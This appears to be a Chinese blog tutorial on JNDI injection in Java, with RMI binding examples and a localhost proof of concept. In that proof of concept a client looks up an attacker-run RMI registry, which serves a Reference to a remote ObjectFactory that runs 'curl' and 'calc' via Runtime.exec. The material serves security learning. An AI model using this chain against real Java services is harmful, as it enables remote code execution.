JNDI注入与反序列化学习总结

jndi介绍:

第一部分已经说过我们可以通过url和类写到rmi注册表中,此时客户端可以通过url来对远程类进行加载,而jndi为java服务和目录接口,JNDI提供统一的客户端API,通过不同的访问提供者接口,JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互,所以我们可以通过jdni来访问远程的url来获取我们需要的服务,那么如果服务端将类注册到RMI注册表中,我们即可以通过jndi来对此类进行访问。每一个对象都有键值对,与名字和对象进行绑定,可以通过名字来对对象进行访问,对象可能存储在rmi、ldap中。
java可以将对象存储在naming或者directory服务下,提供了naming reference功能,对象绑定到reference上,存储在naming或者directory服务下,(rmi,ldap等)。在使用reference的时候,将对象绑定到构造方法中,从而在被调用的时候触发。
举个JNDI?:

person类(位于远程服务器上,也就是我们想要调用的类)
复制代码
package JavaUnser;
import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote,Serializable {
private static final long serialVersionUID = 1L;
private String name;
private String password;
public String getName() {
return name;
}

public void setName(String name) {
    this.name = name;
}

public String getPassword() {
    return password;
}

public void setPassword(String password) {
    this.password = password;
}

public String toString(){
    return "name:"+name+" password:"+password;
}

}
复制代码
RMI服务端:
复制代码
package JavaUnser;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
public class test {
public static void initPerson() throws Exception{
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
LocateRegistry.createRegistry(3001);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, “com.sun.jndi.rmi.registry.RegistryContextFactory”);
System.setProperty(Context.PROVIDER_URL, “rmi://localhost:3001”);
初始化
InitialContext ctx = new InitialContext();
//实例化person对象
Person p = new Person();
p.setName(“hello”);
p.setPassword(“jndi”);
//person对象绑定到JNDI服务中,JNDI的名字叫做:person,即我们可以通过person键值,来对Person对象进行索引
ctx.bind(“person”, p);
ctx.close();

}
public static void findPerson() throws Exception{

    //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了
    InitialContext ctx = new InitialContext();
    //通过lookup查找person对象
    Person person = (Person) ctx.lookup("person");
    //打印出这个对象
    System.out.println(person.toString());
    ctx.close();
}
public static void main(String[] args) throws Exception {
    initPerson();
    findPerson();
}

}
复制代码

可以看到,运行服务端程序后将会绑定3001端口

在初始化完上下文context(一组名称和对象绑定组成的键值对)后,此时可以看到defaultinitCtx中已经包含了jndi的环境变量信息,及服务提供者的url和工厂类的信息,也包括了服务器的host地址和已经提供rmi注册表服务的端口

在findperson中,我们直接可以通过初始化context来通过lookup函数,来对rmi服务进行访问,从而获取person对象
这里我们已经知道可以通过lookup函数来加载远程对象,lookup实际上就要去访问rmi注册表去取回我们想要的对象

而getURLOrDefaultInitCtx函数中会根据不同情况来返回ctx,那么如果lookup函数的参数可控,我们可以指定恶意的rmi注册表地址,让客户端加载恶意的对象
JNDI注入的场景有:
rmi、通过jndi reference远程调用object方法。
CORBA IOR 远程获取实现类(Common Object Request Broker Architecture,公共对象请求代理体系结构,通用对象请求代理体系结构 IOR:可互操作对象引用。)
LDAP 通过序列化对象,JNDI Referene,ldap地址
jndi注入的?:

客户端:
client.java
复制代码
package JavaUnser;
import javax.naming.Context;
import javax.naming.InitialContext;
public class client {
public static void main(String[] args) throws Exception {
String uri = “rmi://127.0.0.1:1099/aa”;
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
复制代码
通过初始化context,然后调用lookup函数来访问rmi注册表,尝试调用远程对象
server.java
复制代码
package JavaUnser;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference(“execObj”, “execObj”, “http://127.0.0.1:8081/”);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println(“Binding ‘refObjWrapper’ to ‘rmi://127.0.0.1:1099/aa’”);
registry.bind(“aa”, refObjWrapper);

}

}
复制代码
此时服务端通过reference将远程对象可以绑定到rmi注册表中,通过reference,可以将远程对象放置在其他服务器上,此时攻击者只要提供恶意的对象供客户端调用即可实现rce
exec.java
复制代码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exec implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    System.out.println("sssss");
    Runtime.getRuntime().exec("curl 127.0.0.1:8081");
    Runtime.getRuntime().exec("calc");
    return null;
}

}
复制代码
此时即可以编译exec.java得到exec.class字节码文件,然后将exec.class文件放置在服务器上
深圳网站建设www.sz886.com

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值